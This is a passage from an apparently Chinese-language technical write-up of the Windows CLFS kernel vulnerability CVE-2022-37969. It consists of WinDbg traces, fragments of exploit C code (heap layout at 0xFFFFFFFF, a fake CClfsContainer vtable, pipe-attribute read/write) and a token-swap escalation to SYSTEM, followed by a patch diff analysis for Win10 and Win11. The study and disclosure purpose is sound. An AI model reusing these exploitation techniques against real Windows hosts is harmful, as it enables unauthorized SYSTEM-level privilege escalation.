fffff800`112f1cba 7436 je CLFS!ClfsEarlierLsn+0x42 (fffff800112f1cf2)
fffff800`112f1cbc 488b09 mov rcx, qword ptr [rcx]
fffff800`112f1cbf 483b0d82210000 cmp rcx, qword ptr [CLFS!CLFS_LSN_NULL (fffff800112f3e48)]
fffff800`112f1cc6 742a je CLFS!ClfsEarlierLsn+0x42 (fffff800112f1cf2)
fffff800`112f1cc8 483bc8 cmp rcx, rax
fffff800`112f1ccb 7425 je CLFS!ClfsEarlierLsn+0x42 (fffff800112f1cf2)
fffff800`112f1ccd 83caff or edx, 0FFFFFFFFh
fffff800`112f1cd0 48894c2408 mov qword ptr [rsp+8], rcx
fffff800`112f1cd5 03ca add ecx, edx
fffff800`112f1cd7 894c2408 mov dword ptr [rsp+8], ecx
fffff800`112f1cdb 3bca cmp ecx, edx
fffff800`112f1cdd 750e jne CLFS!ClfsEarlierLsn+0x3d (fffff800112f1ced)
fffff800`112f1cdf 8b4c240c mov ecx, dword ptr [rsp+0Ch]
fffff800`112f1ce3 85c9 test ecx, ecx
fffff800`112f1ce5 740b je CLFS!ClfsEarlierLsn+0x42 (fffff800112f1cf2)
fffff800`112f1ce7 03ca add ecx, edx
fffff800`112f1ce9 894c240c mov dword ptr [rsp+0Ch], ecx
fffff800`112f1ced 488b442408 mov rax, qword ptr [rsp+8]
fffff800`112f1cf2 c3 ret
1: kd> redx
edx=ffffffff
1: kd> u
CLFS!ClfsEarlierLsn+0x42:
fffff800`112f1cf2 c3 ret
fffff800`112f1cf3 cc int 3
fffff800`112f1cf4 cc int 3
fffff800`112f1cf5 cc int 3
fffff800`112f1cf6 cc int 3
fffff800`112f1cf7 cc int 3
fffff800`112f1cf8 cc int 3
fffff800`112f1cf9 cc int 3
在SeSetAccessStateGenericMapping函数中,将rdx存储的指针复制到rcx+48存储的指针指向的内存中,前面调用ClfsEarlierLsn之后,rdx指向0xFFFFFFFF
nt!SeSetAccessStateGenericMapping:
fffff800`151f2da0 488b4148 mov rax, qword ptr [rcx+48h]
fffff800`151f2da4 0f1002 movups xmm0, xmmword ptr [rdx]
fffff800`151f2da7 f30f7f4008 movdqu xmmword ptr [rax+8], xmm0
fffff800`151f2dac c3 ret
在内存0xFFFFFFFF已经存储了一个指针,该指针指向了system token
1: kd> dq rdx
00000000`ffffffff ffffa48f`4149e000 41414141`4141005a
00000001`0000000f 00000000`00000000 00000000`00000000
00000001`0000001f 00000000`00000000 00000000`00000000
00000001`0000002f 00000000`00000000 00000000`00000000
00000001`0000003f 00000000`00000000 00000000`00000000
00000001`0000004f 00000000`00000000 00000000`00000000
00000001`0000005f 00000000`00000000 00000000`00000000
00000001`0000006f 00000000`00000000 00000000`00000000
v14 = system_EPROCESS & 0xfff;
v15 = system_EPROCESS & 0xfffffffffffff000;
dest2 = 0xffffffff;
dest3 = 0x100000007;
value2 = 0x414141414141005A;
value3 = 0;
value3 = &value2;
// 在0xffffffff地址分配0x100000大小的内存
if (VirtualAlloc((LPVOID)dest2, 0x100000, 0x3000, 4))
{
memset((LPVOID)dest3, 0, 0xff8);
// 写入system_EPROCESS & 0xfffffffffffff000;
*(UINT64*)dest2 = v15;
而rcx+48存储了pipe的AttributeValueSize的地址
1: kd> db rcx+0x48
00000000`005093e8 18 c0 f9 24 0b bc ff ff-00 00 00 05 00 00 00 00 ...$............
00000000`005093f8 18 c0 f9 24 0b bc ff ff-00 00 00 05 00 00 00 00 ...$............
00000000`00509408 18 c0 f9 24 0b bc ff ff-00 00 00 05 00 00 00 00 ...$............
00000000`00509418 18 c0 f9 24 0b bc ff ff-00 00 00 05 00 00 00 00 ...$............
00000000`00509428 18 c0 f9 24 0b bc ff ff-00 00 00 05 00 00 00 00 ...$............
00000000`00509438 18 c0 f9 24 0b bc ff ff-00 00 00 05 00 00 00 00 ...$............
00000000`00509448 18 c0 f9 24 0b bc ff ff-00 00 00 05 00 00 00 00 ...$............
00000000`00509458 18 c0 f9 24 0b bc ff ff-00 00 00 05 00 00 00 00 ...$............
继续执行,将会把0xFFFFFFFF存储的指针写入到rax+8的地址上,内核中pipe对象的AttributeValue 值已经被覆盖为system token地址
1: kd>
nt!SeSetAccessStateGenericMapping+0xc:
fffff800`151f2dac c3 ret
1: kd> db rax-0x18
ffffbc0b`24f9c000 b0 32 0e 27 0b bc ff ff-b0 32 0e 27 0b bc ff ff .2.'.....2.'....
ffffbc0b`24f9c010 28 c0 f9 24 0b bc ff ff-d6 0f 00 00 00 00 00 00 (..$............
ffffbc0b`24f9c020 **00 e0 49 41 8f a4 ff** ff-5a 00 41 41 41 41 41 41 ..IA....Z.AAAAAA
ffffbc0b`24f9c030 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffbc0b`24f9c040 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffbc0b`24f9c050 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffbc0b`24f9c060 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
ffffbc0b`24f9c070 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
之后通过_NtFsControlFile并设ControlCode为0x110038,则会读取pipe对象的AttributeValue并写入到用户提供的缓冲区中,读取到这里已经读取到了system token的地址。
为了完成token替换,exp第二次触发漏洞,在触发之前堆内存进行布局。把system token地址布局到0xFFFFFFFF,从0x10008开始每隔0x10把自身token地址写入到该地址中


触发漏洞(这里重新调试了,所以地址不一样),在CLFS!CClfsBaseFilePersisted::RemoveContainer中断下
1: kd> g
Breakpoint 1 hit
CLFS!CClfsBaseFilePersisted::RemoveContainer+0x48:
fffff807`13a66df8 488bf8 mov rdi,rax
0: kd> db rax
ffff8e86`0c0dd070 06 00 00 00 00 00 00 00-c6 6c 11 93 9c 15 ee 11 .........l......
ffff8e86`0c0dd080 bc 82 00 0c 29 07 fc 32-00 00 00 00 00 00 00 00 ....)..2........
ffff8e86`0c0dd090 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff8e86`0c0dd0a0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff8e86`0c0dd0b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff8e86`0c0dd0c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff8e86`0c0dd0d0 38 13 00 00 00 00 00 00-00 00 00 00 00 00 00 00 8...............
ffff8e86`0c0dd0e0 00 00 00 00 00 00 00 00-38 14 00 00 00 00 00 00 ........8.......
0: kd> db rax + 0x1468
ffff8e86`0c0de4d8 08 f0 fd c1 30 00 00 00-00 00 08 00 00 00 00 00 ....0...........
ffff8e86`0c0de4e8 00 00 00 00 00 00 00 00-10 38 bb 00 00 00 00 00 .........8......
ffff8e86`0c0de4f8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff8e86`0c0de508 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff8e86`0c0de518 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff8e86`0c0de528 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff8e86`0c0de538 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffff8e86`0c0de548 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
查看此时的pContainer对象
0: kd> db bb3810
00000000`00bb3810 00 00 00 05 00 00 00 00-30 75 fe 91 83 b1 ff ff ........0u......
00000000`00bb3820 00 00 00 05 00 00 00 00-30 75 fe 91 83 b1 ff ff ........0u......
00000000`00bb3830 00 00 00 05 00 00 00 00-30 75 fe 91 83 b1 ff ff ........0u......
00000000`00bb3840 00 00 00 05 00 00 00 00-30 75 fe 91 83 b1 ff ff ........0u......
00000000`00bb3850 00 00 00 05 00 00 00 00-30 75 fe 91 83 b1 ff ff ........0u......
00000000`00bb3860 00 00 00 05 00 00 00 00-30 75 fe 91 83 b1 ff ff ........0u......
00000000`00bb3870 00 00 00 05 00 00 00 00-30 75 fe 91 83 b1 ff ff ........0u......
00000000`00bb3880 00 00 00 05 00 00 00 00-30 75 fe 91 83 b1 ff ff ........0u......
vtable
0: kd> dq 5000000
00000000`05000000 00000001`23456789 fffff807`15ff2da0
00000000`05000010 00000000`00000000 fffff807`13a51cb0
00000000`05000020 00000000`00000000 00000000`00000000
00000000`05000030 00000000`00000000 00000000`00000000
00000000`05000040 00000000`00000000 00000000`00000000
00000000`05000050 00000000`00000000 00000000`00000000
00000000`05000060 00000000`00000000 00000000`00000000
00000000`05000070 00000000`00000000 00000000`00000000
执行到nt!SeSetAccessStateGenericMapping函数时,rdx指向内存0xFFFFFFFF,该内存存储了system token的地址,将其写入到rax+8指向的地址中,此处为自身token地址,也就是将system token地址写入到了自身token地址中,即把自身token 替换成了system token达成提权。
system权限token
1: kd> dp rdx L6
00000000`ffffffff ffff8e86`03e616fc 00000000`00000000
00000001`0000000f 00000000`00000000 00000000`00000000
00000001`0000001f 00000000`00000000 00000000`00000000
1: kd> !process 4 1
Searching for Process with Cid == 4
PROCESS ffffb1838ce87180
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 001ad000 ObjectTable: ffff8e8603e57d40 HandleCount: 2731.
Image: System
VadRoot ffffb1838ce94920 Vads 6 Clone 0 Private 22. Modified 4650. Locked 0.
DeviceMap ffff8e8603e35ae0
Token ffff8e8603e616f0
ElapsedTime 00:58:07.536
UserTime 00:00:00.000
KernelTime 00:00:03.093
QuotaPoolUsage[PagedPool] 0
QuotaPoolUsage[NonPagedPool] 272
Working Set Sizes (now,min,max) (49, 50, 450) (196KB, 200KB, 1800KB)
PeakWorkingSetSize 216
VirtualSize 3 Mb
PeakVirtualSize 14 Mb
PageFaultCount 2325
MemoryPriority BACKGROUND
BasePriority 8
CommitCharge 49
当前权限token
1: kd> !process 0x10cc 1
Searching for Process with Cid == 10cc
PROCESS ffffb18391fe7080
SessionId: 1 Cid: 10cc Peb: f894963000 ParentCid: 0294
DirBase: a8104000 ObjectTable: ffff8e860b632980 HandleCount: 92.
Image: exp.exe
VadRoot ffffb18392993580 Vads 57 Clone 0 Private 4686. Modified 1209. Locked 0.
DeviceMap ffff8e8608a9b1d0
Token ffff8e860bc6f770
ElapsedTime 00:54:10.168
UserTime 00:00:00.000
KernelTime 00:00:00.000
QuotaPoolUsage[PagedPool] 123368
QuotaPoolUsage[NonPagedPool] 8096
Working Set Sizes (now,min,max) (5602, 50, 345) (22408KB, 200KB, 1380KB)
PeakWorkingSetSize 5529
VirtualSize 4210 Mb
PeakVirtualSize 4210 Mb
PageFaultCount 8565
MemoryPriority BACKGROUND
BasePriority 8
CommitCharge 6285
1: kd> dp rax+8 L2
ffffb183`91fe7538 ffff8e86`0bc6f774 00000000`00000000
继续执行,当前进程的Token已经被替换为系统Token
1: kd>
nt!SeSetAccessStateGenericMapping+0xc:
fffff807`15ff2dac c3 ret
1: kd> dp ffffb183`91fe7080+0x4b8 L6
ffffb183`91fe7538 ffff8e86`03e616fc 00000000`00000000
ffffb183`91fe7548 00000000`00000000 00000000`00000000
ffffb183`91fe7558 00000000`00000000 00000000`00000000
1: kd> !process 0x10cc 1
Searching for Process with Cid == 10cc
PROCESS ffffb18391fe7080
SessionId: 1 Cid: 10cc Peb: f894963000 ParentCid: 0294
DirBase: a8104000 ObjectTable: ffff8e860b632980 HandleCount: 92.
Image: exp.exe
VadRoot ffffb18392993580 Vads 57 Clone 0 Private 4686. Modified 1209. Locked 0.
DeviceMap ffff8e8608a9b1d0
Token ffff8e8603e616f0
ElapsedTime 01:06:41.537
UserTime 00:00:00.000
KernelTime 00:00:00.000
QuotaPoolUsage[PagedPool] 123368
QuotaPoolUsage[NonPagedPool] 8096
Working Set Sizes (now,min,max) (5602, 50, 345) (22408KB, 200KB, 1380KB)
PeakWorkingSetSize 5529
VirtualSize 4210 Mb
PeakVirtualSize 4210 Mb
PageFaultCount 8565
MemoryPriority BACKGROUND
BasePriority 8
CommitCharge 6285
1: kd> !token ffff8e8603e616f0
_TOKEN 0xffff8e8603e616f0
TS Session ID: 0
User: S-1-5-18
User Groups:
00 S-1-5-32-544
Attributes - Default Enabled Owner
01 S-1-1-0
Attributes - Mandatory Default Enabled
02 S-1-5-11
Attributes - Mandatory Default Enabled
03 S-1-16-16384
Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S-1-5-18
Privs:
02 0x000000002 SeCreateTokenPrivilege Attributes -
03 0x000000003 SeAssignPrimaryTokenPrivilege Attributes -
04 0x000000004 SeLockMemoryPrivilege Attributes - Enabled Default
05 0x000000005 SeIncreaseQuotaPrivilege Attributes -
07 0x000000007 SeTcbPrivilege Attributes - Enabled Default
08 0x000000008 SeSecurityPrivilege Attributes -
09 0x000000009 SeTakeOwnershipPrivilege Attributes -
10 0x00000000a SeLoadDriverPrivilege Attributes -
11 0x00000000b SeSystemProfilePrivilege Attributes - Enabled Default
12 0x00000000c SeSystemtimePrivilege Attributes -
13 0x00000000d SeProfileSingleProcessPrivilege Attributes - Enabled Default
14 0x00000000e SeIncreaseBasePriorityPrivilege Attributes - Enabled Default
15 0x00000000f SeCreatePagefilePrivilege Attributes - Enabled Default
16 0x000000010 SeCreatePermanentPrivilege Attributes - Enabled Default
17 0x000000011 SeBackupPrivilege Attributes -
18 0x000000012 SeRestorePrivilege Attributes -
19 0x000000013 SeShutdownPrivilege Attributes -
20 0x000000014 SeDebugPrivilege Attributes - Enabled Default
21 0x000000015 SeAuditPrivilege Attributes - Enabled Default
22 0x000000016 SeSystemEnvironmentPrivilege Attributes -
23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled Default
25 0x000000019 SeUndockPrivilege Attributes -
28 0x00000001c SeManageVolumePrivilege Attributes -
29 0x00000001d SeImpersonatePrivilege Attributes - Enabled Default
30 0x00000001e SeCreateGlobalPrivilege Attributes - Enabled Default
31 0x00000001f SeTrustedCredManAccessPrivilege Attributes -
32 0x000000020 SeRelabelPrivilege Attributes -
33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes - Enabled Default
34 0x000000022 SeTimeZonePrivilege Attributes - Enabled Default
35 0x000000023 SeCreateSymbolicLinkPrivilege Attributes - Enabled Default
36 0x000000024 SeDelegateSessionUserImpersonatePrivilege Attributes - Enabled Default
Authentication ID: (0,3e7)
Impersonation Level: Anonymous
TokenType: Primary
Source: *SYSTEM* TokenFlags: 0x2000 ( Token in use )
Token ID: 3eb ParentToken ID: 0
Modified ID: (0, 3ec)
RestrictedSidCount: 0 RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 0
PackageSid: (null)
CapabilityCount: 0 Capabilities: 0x0000000000000000
LowboxNumberEntry: 0x0000000000000000
Security Attributes:
Invalid AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION with no claims
Process Token TrustLevelSid: S-1-19-1024-8192
替换完Token之后当前进程权限已经变为system权限

WIN10
使用Bindiff查看可知补丁主要修改了三个函数

在CClfsBaseFilePersisted::LoadContainerQ增加了对SignatureOffset的检查,使其不能超过BASE_RECORD大小,增加了对cbSymbolZone 的检查
__int64 __fastcall CClfsBaseFilePersisted::LoadContainerQ(
CClfsBaseFilePersisted *this,
unsigned int *const a2,
int a3,
unsigned __int8 a4,
char a5,
union _CLS_LSN a6,
unsigned int *a7,
unsigned int *a8,
unsigned __int64 *a9)
{
.....
while ( v16 );
v74 = ExAcquireResourceExclusiveLite(*((PERESOURCE *)this + 4), 1u);
BaseLogRecord = (struct _CLFS_BASE_RECORD_HEADER *)CClfsBaseFile::GetBaseLogRecord(this);
if ( BaseLogRecord )
{
if ( (int)Feature_Servicing_41154973__private_IsEnabled() )
{
**if ( *(_DWORD *)(v10 + 0x68) > *(unsigned __int16 *)(v10 + 4) << 9 )// SignatureOffset
{
v20 = -1072037875;
v73 = -1072037875;
goto LABEL_146;
}
if ( (int)ULongLongAdd((unsigned __int64)BaseLogRecord + 0x1338, *((unsigned int *)BaseLogRecord + 0x4CA), &v91) < 0
|| (int)ULongLongAdd(v10, v21, &v90) < 0// 将BASE_RECORD_HEADER和cbSymbolZone相加
|| v91 > v90 )**
{
v20 = -1072037875;
v73 = -1072037875;
goto LABEL_146;
}
}
Src = (char *)BaseLogRecord + 808;
v79 = CClfsBaseFile::ContainerCount(this);
v22 = 0;
while ( v11 < 0x400 )
{
v17 = (CClfsContainer *)v11;
在CClfsBaseFile::GetSymbol中增加了对Client Context 的检查,验证是否是正确的Client Context
__int64 __fastcall CClfsBaseFile::GetSymbol(
PERESOURCE *this,
unsigned int a2,
char a3,
struct _CLFS_CLIENT_CONTEXT **a4)
{
...
if ( !v11 )
goto LABEL_12;
if ( *(v11 - 3) != a2 )
{
v8 = -1073741816;
LABEL_13:
v16 = v8;
goto LABEL_14;
}
v12 = ClfsQuadAlign(0x88u);
**if ( *((_DWORD *)v13 - 4) != (unsigned __int64)(v15 + v12)// 验证Client Context上下文
|| *(_DWORD *)v13 != -1040322553
|| *((_DWORD *)v13 + 1) != v14
|| *((_BYTE *)v13 + 8) != a3** )
{
LABEL_12:
v8 = -1072037875;
goto LABEL_13;
}
*a4 = v13;
WIN11
win11上补丁主要新增了以下几个函数
CClfsBaseFile::AllocOffsetNode(_RTL_AVL_TABLE *,ulong)
CClfsBaseFile::CompareGenericoffsets(_RTL_AVL_TABLE *,void *,void *)
CClfsBaseFile::ValidateCheckifWithinSymbolZone(ulong,_CLFS_BASE_RECORD_HEADER *)
CClfsBaseFile::ValidateClientContextOffsets(_CLFS_VALIDATE_OFFSET_TABLE *,_CLFS_BASE_RECORD_HEADER * const)
CClfsBaseFile::ValidateClientSymTblOffsets(_CLFS_VALIDATE_OFFSET_TABLE *,_CLFS_BASE_RECORD_HEADER * const)
CClfsBaseFile::ValidateContainerSymTblOffsets(_CLFS_VALIDATE_OFFSET_TABLE *,_CLFS_BASE_RECORD_HEADER * const)
CClfsBaseFile::ValidateProcessQNode(_CLFS_VALIDATE_OFFSET_TABLE *,_CLFS_BASE_RECORD_HEADER * const,ulong,ulong &,ulong &)

从CClfsBaseFilePersisted::LoadContainerQ 函数开始调用堆栈为:
CClfsBaseFilePersisted::LoadContainerQ→CClfsBaseFile::ValidateOffsets→CClfsBaseFile::ValidateClientContextOffsets→CClfsBaseFile::ValidateCheckifWithinSymbolZone
函数CClfsBaseFile::ValidateOffsets 伪代码如下:
__int64 __fastcall CClfsBaseFile::ValidateOffsets(CClfsBaseFile *this, struct _CLFS_BASE_RECORD_HEADER *const a2)
{
char v4; // r13
unsigned __int64 v5; // rbx
struct _RTL_AVL_TABLE *TableContext; // rax
struct _CLFS_VALIDATE_OFFSET_TABLE *v7; // rdi
......
v4 = 0;
v5 = *(_QWORD *)(*((_QWORD *)this + 6) + 48i64);
TableContext = (struct _RTL_AVL_TABLE *)ExAllocatePoolWithTag(PagedPool, 0x68ui64, 0x73666C43u);
v7 = (struct _CLFS_VALIDATE_OFFSET_TABLE *)TableContext;
if ( !TableContext )
return 3221225626i64;
RtlInitializeGenericTableAvl(
TableContext,
CClfsBaseFile::CompareGenericoffsets,
CClfsBaseFile::AllocOffsetNode,
CClfsLogFcbPhysical::ReleaseLsnMap,
TableContext);
v9 = *(unsigned int *)(v5 + 104);
if ( (unsigned int)v9 > *(unsigned __int16 *)(v5 + 4) << 9 )
goto LABEL_25;
v10 = (char *)a2 + *((unsigned int *)a2 + 1226) + 4920;
if ( v10 < (char *)a2 + 4920 || v5 + v9 < v5 || (unsigned __int64)v10 > v5 + v9 )
goto LABEL_25;
v11 = CClfsBaseFile::ValidateContainerContextOffsets(this, v7, a2);
**if ( v11 < 0
|| (v11 = CClfsBaseFile::ValidateClientContextOffsets(this, (struct _RTL_AVL_TABLE *)v7, a2), v11 < 0)
|| (v11 = CClfsBaseFile::ValidateContainerSymTblOffsets(this, v7, a2), v11 < 0)
|| (v11 = CClfsBaseFile::ValidateClientSymTblOffsets(this, v7, a2), v11 < 0) )**
{
LABEL_26:
.....
LABEL_35:
ExFreePoolWithTag(v7, 0);
return (unsigned int)v11;
}
该代码中通过调用CClfsBaseFile::ValidateClientContextOffsets CClfsBaseFile::ValidateClientSymTblOffsets CClfsBaseFile::ValidateContainerSymTblOffsets检查Client Context Offset、Container Sybbol Table等偏移是否合法。
CClfsBaseFile::ValidateClientContextOffsets伪代码如下,该代码循环遍历检查每个Container并调用CClfsBaseFile::ValidateCheckifWithinSymbolZone检查cbSymbolZone是否合法。
__int64 __fastcall CClfsBaseFile::ValidateClientContextOffsets(
CClfsBaseFile *this,
struct _RTL_AVL_TABLE *a2,
struct _CLFS_BASE_RECORD_HEADER *const a3)
{
int Symbol; // ebx
int v4; // r14d
__int64 v5; // rdi
unsigned int v8; // esi
CClfsBaseFile *v9; // rcx
struct _CLFS_BASE_RECORD_HEADER *v10; // r8
.....
do
{
v8 = *((_DWORD *)a3 + v5 + 78);
if ( v8 - 1 <= 0xFFFFFFFD )
{
++v4;
Symbol = CClfsBaseFile::ValidateCheckifWithinSymbolZone(this, v8 + 135, a3);
if ( Symbol < 0 )
goto LABEL_15;
Symbol = CClfsBaseFile::ValidateCheckifWithinSymbolZone(v9, v8 - 48, v10);
if ( Symbol < 0 )
goto LABEL_15;
v11 = CClfsBaseFile::OffsetToAddr(this, v8);
if ( !v11 )
goto LABEL_15;
v12 = *(v11 - 3);
if ( v12 != v8 )
goto LABEL_15;
if ( *(v11 - 4) != v12 + 136 )
goto LABEL_15;
v19 = 0i64;
Symbol = CClfsBaseFile::GetSymbol(this, v8, v5, &v19);
if ( Symbol < 0 )
goto LABEL_15;
if ( *((unsigned __int8 *)v19 + 8) != (_DWORD)v5 )
goto LABEL_15;
if ( *(_DWORD *)v19 != -1040322553 )
goto LABEL_15;
Buffer = *((_DWORD *)a3 + v5 + 78) - 48;
inserted = RtlInsertElementGenericTableAvl(a2, &Buffer, 8u, &NewElement);
if ( !NewElement || !inserted )
goto LABEL_15;
}
v5 = (unsigned int)(v5 + 1);
}
while ( (unsigned int)v5 < 0x7C );
if ( v4 != CClfsBaseFile::ClientCount(this) )
{
......
return (unsigned int)Symbol;
}
CClfsBaseFile::ValidateCheckifWithinSymbolZone函数检查cbSymbolZone偏移是否处于政策范围内(处于BASE_RECORD_HEADER和BASE_RECORD之间)
__int64 __fastcall CClfsBaseFile::ValidateCheckifWithinSymbolZone(
CClfsBaseFile *this,
unsigned int a2,
struct _CLFS_BASE_RECORD_HEADER *a3)
{
if ( a2 < 0x1338 || a2 - 4920 > *((_DWORD *)a3 + 1226) )
return 3222929421i64;
else
return 0i64;
}
这次漏洞的造成原因是自身的SignatureOffset和自身的Signatures相交,导致攻击者可以利用循环写入Signatures的时候覆盖SignatureOffset,从而绕过ResetLog中的边界检查,同时未检查BASE_RECORD_HEADER + cbSymbolZone是否位于当前的BASE_RECORD中,导致攻击者可以利用漏洞通过memset函数对任意地址的一定大小的内存进行清零。
在实际利用中通过清零pContainer指针的高五位同时在用户层通过堆布局伪造CClfsContainer对象,在解引用对象指针时获取到执行代码的时机。通过结合Pipe对象和内核的两个函数成功获得任意读和任意写,从而成功将当前进程的Token替换成系统进程的token,达成提权。利用过程
在漏洞补丁中增加了对cbSymbolZone和Client Context的检查从而在漏洞利用初期阻断。
总的来说该漏洞形成原因是代码调用某些函数时未检查边界且该边界用户可控或间接可控。
参考链接
https://github.com/fortra/CVE-2022-37969
https://mp.weixin.qq.com/s/GMzbavzltM756Fb8lw6h_A
https://bbs.kanxue.com/thread-275566.htm#msg_header_h3_0
https://www.geoffchappell.com/
Created at 2023-05-26T10:56:00+08:00